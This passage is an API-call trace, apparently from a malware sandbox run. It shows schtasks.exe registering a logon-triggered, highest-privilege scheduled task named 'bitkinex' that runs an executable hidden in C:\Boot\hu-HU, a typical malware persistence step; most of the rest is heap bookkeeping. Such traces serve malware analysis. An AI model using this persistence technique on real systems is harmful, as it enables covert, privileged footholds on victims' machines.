cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0062.229] lstrlenW (lpString="Third") returned 5 [0062.229] GetProcessHeap () returned 0x170000 [0062.229] GetProcessHeap () returned 0x170000 [0062.229] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d760) returned 1 [0062.229] GetProcessHeap () returned 0x170000 [0062.229] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d760) returned 0xa [0062.230] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d760 | out: hHeap=0x170000) returned 1 [0062.230] GetProcessHeap () returned 0x170000 [0062.230] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xc) returned 0x18d760 [0062.230] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.230] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0062.230] lstrlenW (lpString="Fourth") returned 6 [0062.230] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.230] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0062.230] lstrlenW (lpString="Last") returned 4 [0062.230] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc6c0, cchData=128 | out: lpLCData="0") returned 2 [0062.230] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.230] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0062.230] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0062.230] GetProcessHeap () returned 0x170000 [0062.230] GetProcessHeap () returned 0x170000 [0062.230] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d680) returned 1 [0062.230] GetProcessHeap () returned 0x170000 [0062.230] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d680) returned 0x10 [0062.230] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d680 | out: hHeap=0x170000) returned 1 [0062.230] GetProcessHeap () returned 0x170000 [0062.230] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x16) returned 0x18d680 [0062.230] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc6e0, cchData=128 | out: lpLCData="0") returned 2 [0062.230] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.230] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0062.230] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0062.230] GetProcessHeap () returned 0x170000 [0062.230] GetProcessHeap () returned 0x170000 [0062.230] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d6a0) returned 1 [0062.230] GetProcessHeap () returned 0x170000 [0062.231] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d6a0) returned 0x10 [0062.231] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d6a0 | out: hHeap=0x170000) returned 1 [0062.231] GetProcessHeap () returned 0x170000 [0062.231] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x16) returned 0x18d6a0 [0062.231] GetLocalTime (in: lpSystemTime=0xfc910 | out: lpSystemTime=0xfc910*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2e, wMilliseconds=0x366)) [0062.231] GetLocalTime (in: lpSystemTime=0xfd1c8 | out: lpSystemTime=0xfd1c8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2e, wMilliseconds=0x366)) [0062.231] lstrlenW (lpString="") returned 0 [0062.231] lstrlenW (lpString="") returned 0 [0062.231] lstrlenW (lpString="") returned 0 [0062.231] lstrlenW (lpString="") returned 0 [0062.231] lstrlenW (lpString="") returned 0 [0062.231] lstrlenW (lpString="") returned 0 [0062.231] lstrlenW (lpString="") returned 0 [0062.231] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0062.249] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0062.356] CoCreateInstance (in: rclsid=0xffe11ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffe11ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xfcf90 | out: ppv=0xfcf90*=0x417b60) returned 0x0 [0062.366] TaskScheduler:ITaskService:Connect (This=0x417b60, serverName=0xfd070*(varType=0x8, wReserved1=0xf, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xfd030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xfd050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfd010*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0062.459] TaskScheduler:IUnknown:AddRef (This=0x417b60) returned 0x2 [0062.459] TaskScheduler:ITaskService:GetFolder (in: This=0x417b60, Path=0x0, ppFolder=0xfd128 | out: ppFolder=0xfd128*=0x417d20) returned 0x0 [0062.463] TaskScheduler:ITaskService:NewTask (in: This=0x417b60, flags=0x0, ppDefinition=0xfd120 | out: ppDefinition=0xfd120*=0x417d70) returned 0x0 [0062.463] ITaskDefinition:get_Actions (in: This=0x417d70, ppActions=0xfd0a0 | out: ppActions=0xfd0a0*=0x417e30) returned 0x0 [0062.464] IActionCollection:Create (in: This=0x417e30, Type=0, ppAction=0xfd0c0 | out: ppAction=0xfd0c0*=0x4161b0) returned 0x0 [0062.464] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.464] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0062.464] lstrlenW (lpString=" ") returned 1 [0062.464] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x48) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0062.464] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0062.465] StrChrW (lpStart=" ", wMatch=0x6b) returned 0x0 [0062.465] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0062.465] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0062.465] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0062.465] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0062.465] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0062.465] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0062.465] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0062.465] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0062.465] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0062.465] IUnknown:Release (This=0x4161b0) returned 0x1 [0062.465] IUnknown:Release (This=0x417e30) returned 0x1 [0062.465] ITaskDefinition:get_Triggers (in: This=0x417d70, ppTriggers=0xfcc20 | out: ppTriggers=0xfcc20*=0x415f80) returned 0x0 [0062.465] ITriggerCollection:Create (in: This=0x415f80, Type=9, ppTrigger=0xfcc18 | out: ppTrigger=0xfcc18*=0x416220) returned 0x0 [0062.466] IUnknown:QueryInterface (in: This=0x416220, riid=0xffe11c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xfcc10 | out: ppvObject=0xfcc10*=0x416220) returned 0x0 [0062.466] IUnknown:Release (This=0x416220) returned 0x2 [0062.466] _vsnwprintf (in: _Buffer=0xfcb60, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xfcb38 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0062.466] ITrigger:put_StartBoundary (This=0x416220, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0062.466] lstrlenW (lpString="") returned 0 [0062.466] lstrlenW (lpString="") returned 0 [0062.466] lstrlenW (lpString="") returned 0 [0062.466] lstrlenW (lpString="") returned 0 [0062.466] IUnknown:Release (This=0x416220) returned 0x1 [0062.466] IUnknown:Release (This=0x415f80) returned 0x1 [0062.466] ITaskDefinition:get_Settings (in: This=0x417d70, ppSettings=0xfd0c0 | out: ppSettings=0xfd0c0*=0x415ff0) returned 0x0 [0062.466] lstrlenW (lpString="") returned 0 [0062.467] IUnknown:Release (This=0x415ff0) returned 0x1 [0062.467] GetLocalTime (in: lpSystemTime=0xfcf78 | out: lpSystemTime=0xfcf78*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x2f, wMilliseconds=0x68)) [0062.467] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0062.467] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0062.467] GetUserNameW (in: lpBuffer=0xfcfa0, pcbBuffer=0xfcf88 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xfcf88) returned 1 [0062.468] ITaskDefinition:get_RegistrationInfo (in: This=0x417d70, ppRegistrationInfo=0xfcf70 | out: ppRegistrationInfo=0xfcf70*=0x417eb0) returned 0x0 [0062.468] IRegistrationInfo:put_Author (This=0x417eb0, Author="") returned 0x0 [0062.468] _vsnwprintf (in: _Buffer=0xfcfa0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xfcf38 | out: _Buffer="2023-09-19T17:16:47") returned 19 [0062.468] IRegistrationInfo:put_Date (This=0x417eb0, Date="") returned 0x0 [0062.468] IUnknown:Release (This=0x417eb0) returned 0x1 [0062.468] malloc (_Size=0x18) returned 0x27df50 [0062.468] free (_Block=0x27df50) [0062.468] lstrlenW (lpString="") returned 0 [0062.469] ITaskDefinition:get_Principal (in: This=0x417d70, ppPrincipal=0xfd190 | out: ppPrincipal=0xfd190*=0x416100) returned 0x0 [0062.469] IPrincipal:put_RunLevel (This=0x416100, RunLevel=1) returned 0x0 [0062.469] IUnknown:Release (This=0x416100) returned 0x1 [0062.469] malloc (_Size=0x18) returned 0x27df50 [0062.469] ITaskFolder:RegisterTaskDefinition (in: This=0x417d20, Path="bitkinex", pDefinition=0x417d70, flags=6, UserId=0xfd210*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfd250*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff120, varVal2=0xfe), LogonType=3, sddl=0xfd230*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xfd130 | out: ppTask=0xfd130*=0x416490) returned 0x0 [0063.059] free (_Block=0x27df50) [0063.060] _memicmp (_Buf1=0x18bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.060] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x18d3c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0063.060] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0063.060] GetProcessHeap () returned 0x170000 [0063.060] GetProcessHeap () returned 0x170000 [0063.060] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d6c0) returned 1 [0063.060] GetProcessHeap () returned 0x170000 [0063.060] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d6c0) returned 0xe [0063.060] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d6c0 | out: hHeap=0x170000) returned 1 [0063.060] GetProcessHeap () returned 0x170000 [0063.060] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x82) returned 0x1a9a70 [0063.060] _vsnwprintf (in: _Buffer=0xfd870, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xfd0d8 | out: _Buffer="SUCCESS: The scheduled task \"bitkinex\" has successfully been created.\n") returned 70 [0063.060] _fileno (_File=0x7feffe22ab0) returned -2 [0063.060] _errno () returned 0x414bb0 [0063.060] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0063.060] SetLastError (dwErrCode=0x6) [0063.060] lstrlenW (lpString="SUCCESS: The scheduled task \"bitkinex\" has successfully been created.\n") returned 70 [0063.060] GetConsoleOutputCP () returned 0x0 [0063.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"bitkinex\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0063.061] GetConsoleOutputCP () returned 0x0 [0063.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"bitkinex\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xffe51880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"bitkinex\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0063.061] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 70 [0063.061] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0063.061] IUnknown:Release (This=0x416490) returned 0x0 [0063.061] TaskScheduler:IUnknown:Release (This=0x417d70) returned 0x0 [0063.061] TaskScheduler:IUnknown:Release (This=0x417d20) returned 0x0 [0063.061] TaskScheduler:IUnknown:Release (This=0x417b60) returned 0x1 [0063.061] lstrlenW (lpString="") returned 0 [0063.061] GetProcessHeap () returned 0x170000 [0063.061] GetProcessHeap () returned 0x170000 [0063.061] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c430) returned 1 [0063.061] GetProcessHeap () returned 0x170000 [0063.061] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c430) returned 0x1fc [0063.062] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c430 | out: hHeap=0x170000) returned 1 [0063.062] GetProcessHeap () returned 0x170000 [0063.062] GetProcessHeap () returned 0x170000 [0063.062] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d640) returned 1 [0063.062] GetProcessHeap () returned 0x170000 [0063.062] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d640) returned 0x16 [0063.062] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d640 | out: hHeap=0x170000) returned 1 [0063.062] GetProcessHeap () returned 0x170000 [0063.062] GetProcessHeap () returned 0x170000 [0063.062] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d620) returned 1 [0063.062] GetProcessHeap () returned 0x170000 [0063.062] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d620) returned 0x18 [0063.062] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d620 | out: hHeap=0x170000) returned 1 [0063.062] GetProcessHeap () returned 0x170000 [0063.062] GetProcessHeap () returned 0x170000 [0063.062] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce90) returned 1 [0063.062] GetProcessHeap () returned 0x170000 [0063.062] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18ce90) returned 0x20 [0063.063] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18ce90 | out: hHeap=0x170000) returned 1 [0063.063] GetProcessHeap () returned 0x170000 [0063.063] GetProcessHeap () returned 0x170000 [0063.063] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c110) returned 1 [0063.063] GetProcessHeap () returned 0x170000 [0063.063] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c110) returned 0xa0 [0063.064] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c110 | out: hHeap=0x170000) returned 1 [0063.064] GetProcessHeap () returned 0x170000 [0063.064] GetProcessHeap () returned 0x170000 [0063.065] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bb90) returned 1 [0063.065] GetProcessHeap () returned 0x170000 [0063.065] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bb90) returned 0x18 [0063.065] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bb90 | out: hHeap=0x170000) returned 1 [0063.065] GetProcessHeap () returned 0x170000 [0063.065] GetProcessHeap () returned 0x170000 [0063.065] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cc50) returned 1 [0063.065] GetProcessHeap () returned 0x170000 [0063.065] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cc50) returned 0x20 [0063.065] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cc50 | out: hHeap=0x170000) returned 1 [0063.065] GetProcessHeap () returned 0x170000 [0063.065] GetProcessHeap () returned 0x170000 [0063.065] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x189480) returned 1 [0063.065] GetProcessHeap () returned 0x170000 [0063.065] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x189480) returned 0x3a [0063.066] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x189480 | out: hHeap=0x170000) returned 1 [0063.066] GetProcessHeap () returned 0x170000 [0063.066] GetProcessHeap () returned 0x170000 [0063.066] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d660) returned 1 [0063.066] GetProcessHeap () returned 0x170000 [0063.066] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d660) returned 0x18 [0063.066] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d660 | out: hHeap=0x170000) returned 1 [0063.066] GetProcessHeap () returned 0x170000 [0063.066] GetProcessHeap () returned 0x170000 [0063.066] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cc20) returned 1 [0063.066] GetProcessHeap () returned 0x170000 [0063.066] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cc20) returned 0x20 [0063.066] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cc20 | out: hHeap=0x170000) returned 1 [0063.066] GetProcessHeap () returned 0x170000 [0063.066] GetProcessHeap () returned 0x170000 [0063.066] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x189430) returned 1 [0063.066] GetProcessHeap () returned 0x170000 [0063.067] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x189430) returned 0x3c [0063.067] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x189430 | out: hHeap=0x170000) returned 1 [0063.067] GetProcessHeap () returned 0x170000 [0063.067] GetProcessHeap () returned 0x170000 [0063.067] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d600) returned 1 [0063.067] GetProcessHeap () returned 0x170000 [0063.067] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d600) returned 0x18 [0063.067] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d600 | out: hHeap=0x170000) returned 1 [0063.067] GetProcessHeap () returned 0x170000 [0063.067] GetProcessHeap () returned 0x170000 [0063.067] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18cbf0) returned 1 [0063.067] GetProcessHeap () returned 0x170000 [0063.067] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18cbf0) returned 0x20 [0063.068] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18cbf0 | out: hHeap=0x170000) returned 1 [0063.068] GetProcessHeap () returned 0x170000 [0063.068] GetProcessHeap () returned 0x170000 [0063.068] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c410) returned 1 [0063.068] GetProcessHeap () returned 0x170000 [0063.068] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c410) returned 0xe [0063.068] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c410 | out: hHeap=0x170000) returned 1 [0063.068] GetProcessHeap () returned 0x170000 [0063.068] GetProcessHeap () returned 0x170000 [0063.068] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3f0) returned 1 [0063.068] GetProcessHeap () returned 0x170000 [0063.068] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c3f0) returned 0x18 [0063.068] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c3f0 | out: hHeap=0x170000) returned 1 [0063.068] GetProcessHeap () returned 0x170000 [0063.068] GetProcessHeap () returned 0x170000 [0063.068] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185e10) returned 1 [0063.068] GetProcessHeap () returned 0x170000 [0063.068] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185e10) returned 0x20 [0063.068] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185e10 | out: hHeap=0x170000) returned 1 [0063.068] GetProcessHeap () returned 0x170000 [0063.068] GetProcessHeap () returned 0x170000 [0063.068] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bd10) returned 1 [0063.069] GetProcessHeap () returned 0x170000 [0063.069] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bd10) returned 0x208 [0063.069] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bd10 | out: hHeap=0x170000) returned 1 [0063.070] GetProcessHeap () returned 0x170000 [0063.070] GetProcessHeap () returned 0x170000 [0063.070] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bb70) returned 1 [0063.070] GetProcessHeap () returned 0x170000 [0063.070] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bb70) returned 0x18 [0063.070] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bb70 | out: hHeap=0x170000) returned 1 [0063.070] GetProcessHeap () returned 0x170000 [0063.070] GetProcessHeap () returned 0x170000 [0063.070] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185d20) returned 1 [0063.070] GetProcessHeap () returned 0x170000 [0063.070] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185d20) returned 0x20 [0063.071] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185d20 | out: hHeap=0x170000) returned 1 [0063.071] GetProcessHeap () returned 0x170000 [0063.071] GetProcessHeap () returned 0x170000 [0063.071] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18d3c0) returned 1 [0063.071] GetProcessHeap () returned 0x170000 [0063.071] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18d3c0) returned 0x200 [0063.072] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18d3c0 | out: hHeap=0x170000) returned 1 [0063.072] GetProcessHeap () returned 0x170000 [0063.072] GetProcessHeap () returned 0x170000 [0063.072] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18bbb0) returned 1 [0063.072] GetProcessHeap () returned 0x170000 [0063.072] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18bbb0) returned 0x18 [0063.072] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bbb0 | out: hHeap=0x170000) returned 1 [0063.072] GetProcessHeap () returned 0x170000 [0063.072] GetProcessHeap () returned 0x170000 [0063.072] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185c90) returned 1 [0063.072] GetProcessHeap () returned 0x170000 [0063.072] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185c90) returned 0x20 [0063.073] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185c90 | out: hHeap=0x170000) returned 1 [0063.073] GetProcessHeap () returned 0x170000 [0063.073] GetProcessHeap () returned 0x170000 [0063.073] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c320) returned 1 [0063.073] GetProcessHeap () returned 0x170000 [0063.073] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c320) returned 0x14 [0063.073] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c320 | out: hHeap=0x170000) returned 1 [0063.073] GetProcessHeap () returned 0x170000 [0063.073] GetProcessHeap () returned 0x170000 [0063.073] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c300) returned 1 [0063.073] GetProcessHeap () returned 0x170000 [0063.073] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c300) returned 0x18 [0063.073] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c300 | out: hHeap=0x170000) returned 1 [0063.073] GetProcessHeap () returned 0x170000 [0063.073] GetProcessHeap () returned 0x170000 [0063.073] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185bd0) returned 1 [0063.073] GetProcessHeap () returned 0x170000 [0063.073] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185bd0) returned 0x20 [0063.074] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185bd0 | out: hHeap=0x170000) returned 1 [0063.074] GetProcessHeap () returned 0x170000 [0063.074] GetProcessHeap () returned 0x170000 [0063.075] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c340) returned 1 [0063.075] GetProcessHeap () returned 0x170000 [0063.075] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c340) returned 0x16 [0063.075] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c340 | out: hHeap=0x170000) returned 1 [0063.075] GetProcessHeap () returned 0x170000 [0063.075] GetProcessHeap () returned 0x170000 [0063.075] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c1c0) returned 1 [0063.075] GetProcessHeap () returned 0x170000 [0063.075] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c1c0) returned 0x18 [0063.075] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c1c0 | out: hHeap=0x170000) returned 1 [0063.075] GetProcessHeap () returned 0x170000 [0063.075] GetProcessHeap () returned 0x170000 [0063.075] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x185ba0) returned 1 [0063.075] GetProcessHeap () returned 0x170000 [0063.075] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x185ba0) returned 0x20 [0063.076] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185ba0 | out: hHeap=0x170000) returned 1 [0063.076] GetProcessHeap () returned 0x170000 [0063.076] GetProcessHeap () returned 0x170000 [0063.076] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18baf0) returned 1 [0063.076] 